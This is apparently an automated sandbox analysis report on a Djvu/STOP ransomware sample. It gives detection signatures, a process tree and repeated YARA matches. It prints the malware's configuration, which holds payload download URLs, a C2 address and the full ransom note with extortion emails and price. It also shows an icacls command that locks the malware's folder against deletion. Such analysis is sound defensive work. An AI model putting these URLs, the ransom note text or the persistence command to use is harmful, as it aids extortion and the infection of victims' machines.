Edit tour

Windows Analysis Report
bE5aaTiJM0.exe

Overview

General Information

Sample Name:	bE5aaTiJM0.exe
Analysis ID:	679172
MD5:	5fae11a9ddb49452b6896fd3217e9665
SHA1:	a642378099d0ac4e1dc3e0abe98b12bee1992e1d
SHA256:	12471d61dc844208bdbe23a9749980cf1a40ad45f844449afe55fb0f1cbbda0b
Tags:	exeStop
Infos:

Detection

Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Found ransom note / readme

Yara detected Djvu Ransomware

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses cacls to modify the permissions of files

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

bE5aaTiJM0.exe (PID: 4004 cmdline: "C:\Users\user\Desktop\bE5aaTiJM0.exe" MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 5720 cmdline: "C:\Users\user\Desktop\bE5aaTiJM0.exe" MD5: 5FAE11A9DDB49452B6896FD3217E9665)

icacls.exe (PID: 1284 cmdline: icacls "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: FF0D1D4317A44C951240FAE75075D501)

bE5aaTiJM0.exe (PID: 5592 cmdline: "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 3616 cmdline: "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 4376 cmdline: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 3920 cmdline: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 5828 cmdline: "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 5832 cmdline: "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 3304 cmdline: "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart MD5: 5FAE11A9DDB49452B6896FD3217E9665)

bE5aaTiJM0.exe (PID: 2888 cmdline: "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart MD5: 5FAE11A9DDB49452B6896FD3217E9665)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://acacaca.org/files/1/build3.exe"], "C2 url": "http://acacaca.org/test2/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-QsoSRIeAK6\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0531Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwX6oUNb4mk19lyNBxK80\\\\nWDzdQgJ9XMg2LdYk3Hm0F0zP2rWDuKVpyAbosbOzGKbJOkVa\\/1XbytFAm8RYfkB\\/\\\\nnfEgGh5OGcw\\/CcqqOL3R4Vpd7slLVXc56FLkTWEMSShzg1sNxgIiQm8VcaXOgUk8\\\\ntvWKcUIV9ujXmn5UBSy\\/ICDPveI3QCaxZod7kIBwZzszO\\/3CvNwAy3eejgJ6j8ie\\\\nmwJ9pjskzLjmq92yhDGUQygWfGw0tL1KtSiqUy2M7KNdmD4FX1aVeutZC9bggvn8\\\\nV4ksJChvMxI521ms58donyKjwBAbKXBfVRaXUV2k34bI0NQqhLz5OeGIRhn67oe+\\\\njwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.409352563.00000000027E4000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000000.440338861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000000.372461553.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
